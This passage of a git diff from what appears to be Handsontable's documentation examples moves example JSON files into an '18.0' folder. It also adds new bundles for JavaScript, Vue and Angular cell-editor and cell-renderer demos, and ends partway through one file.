b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__selection__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__selection__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__text-alignment__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__text-alignment__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example2.js.json new file mode 100644 index 00000000..5c52d871 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell editor · Class-based editors · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseEditor } from 'handsontable/editors/baseEditor';\nimport { stopImmediatePropagation } from 'handsontable/helpers/dom/event';\nregisterAllModules();\nclass SelectEditor extends BaseEditor {\n init() {\n this.select = this.hot.rootDocument.createElement('SELECT');\n this.select.setAttribute('data-hot-input', 'true');\n this.select.classList.add('htSelectEditor');\n this.select.style.display = 'none';\n this.hot.rootElement.appendChild(this.select);\n }\n prepare(row, col, prop, td, originalValue, cellProperties) {\n super.prepare(row, col, prop, td, originalValue, cellProperties);\n const rawOptions = this.cellProperties.selectOptions ?? [];\n const options = Array.isArray(rawOptions)\n ? Object.fromEntries(rawOptions.map((v) => [v, v]))\n : rawOptions;\n this.select.innerText = '';\n Object.keys(options).forEach((key) => {\n const option = this.hot.rootDocument.createElement('OPTION');\n option.value = key;\n option.innerText = options[key];\n this.select.appendChild(option);\n });\n }\n getValue() {\n return this.select.value;\n }\n setValue(value) {\n this.select.value = value;\n }\n open() {\n const { top, start, width, height } = this.getEditedCellRect();\n const s = this.select.style;\n s.height = `${height}px`;\n s.minWidth = `${width}px`;\n s.top = `${top}px`;\n s[this.hot.isRtl() ? 'right' : 'left'] = `${start}px`;\n s.margin = '0px';\n s.display = '';\n this.addHook('beforeKeyDown', (event) => {\n const { selectedIndex, length } = this.select;\n if (event.keyCode === 38 && selectedIndex > 0) {\n this.select[selectedIndex - 1].selected = true;\n stopImmediatePropagation(event);\n event.preventDefault();\n }\n else if (event.keyCode === 40 && selectedIndex < length - 1) {\n this.select[selectedIndex + 1].selected = true;\n stopImmediatePropagation(event);\n event.preventDefault();\n }\n });\n }\n close() {\n this.select.style.display = 'none';\n this.clearHooks();\n }\n focus() {\n this.select.focus();\n }\n}\nconst PRIORITY_COLORS = {\n Low: '#22c55e',\n Medium: '#f59e0b',\n High: '#ef4444',\n Critical: '#7c3aed',\n};\nconst STATUS_COLORS = {\n 'To Do': '#6b7280',\n 'In Progress': '#3b82f6',\n Review: '#f59e0b',\n Done: '#22c55e',\n};\nfunction badgeRenderer(colorMap) {\n return (hotInstance, td, row, col, prop, value) => {\n td.innerText = '';\n if (value) {\n const badge = hotInstance.rootDocument.createElement('span');\n badge.className = 'htSelectBadge';\n badge.style.background = colorMap[value] ?? '#6b7280';\n badge.innerText = value;\n td.appendChild(badge);\n }\n return td;\n };\n}\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['Migrate database schema', 'High', 'In Progress'],\n ['Update API documentation', 'Medium', 'To Do'],\n ['Fix authentication bug', 'Critical', 'Review'],\n ['Add dark mode support', 'Low', 'Done'],\n ['Improve test coverage', 'Medium', 'In Progress'],\n ['Deploy to staging server', 'High', 'To Do'],\n ['Refactor billing module', 'Medium', 'Done'],\n ],\n colHeaders: ['Task', 'Priority', 'Status'],\n columns: [\n { type: 'text' },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(PRIORITY_COLORS),\n selectOptions: ['Low', 'Medium', 'High', 'Critical'],\n },\n {\n editor: SelectEditor,\n renderer: badgeRenderer(STATUS_COLORS),\n selectOptions: ['To Do', 'In Progress', 'Review', 'Done'],\n },\n ],\n colWidths: [220, 110, 130],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".htSelectEditor {\n /* Enables dimension changes for in WebKit browsers */\n -webkit-appearance: menulist-button !important;\n position: absolute;\n width: auto;\n z-index: 300;\n}\n\n.htSelectBadge {\n display: inline-block;\n padding: 2px 10px;\n border-radius: 10px;\n font-size: 11px;\n font-weight: 600;\n color: #fff;\n letter-spacing: 0.3px;\n white-space: nowrap;\n}"},"docsPath":"guides/cell-functions/cell-editor/javascript/example2.ts","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-editor__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__vue__example2.vue.json new file mode 100644 index 00000000..39f38e68 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-editor__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell editor · Class-based editors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-functions/cell-editor/vue/example2.vue","breadcrumb":["Cell Functions","Cell editor"],"guide":"guides/cell-functions/cell-editor/cell-editor.md","guideTitle":"Cell editor","exampleId":"example2","exampleTitle":"Class-based editors","docPermalink":"/cell-editor","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-function__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-function__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example1.ts.json new file mode 100644 index 00000000..0cf09bdc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, ChangeDetectionStrategy, Component, OnInit, ViewChild } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-cover-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: ``,\n})\nexport class CoverRendererComponent extends HotCellRendererComponent {\n}\n\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n @if (hotSettings) {\n \n }\n `,\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: CoverRendererComponent },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example1.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example2.ts.json new file mode 100644 index 00000000..b222e3f6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Use the renderer component within React's Context · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit, TemplateRef, ViewChild } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n \n \n\n \n \n \n `,\n})\nexport class AppComponent implements OnInit {\n @ViewChild('myCellTpl', { static: true }) myCellTpl!: TemplateRef;\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 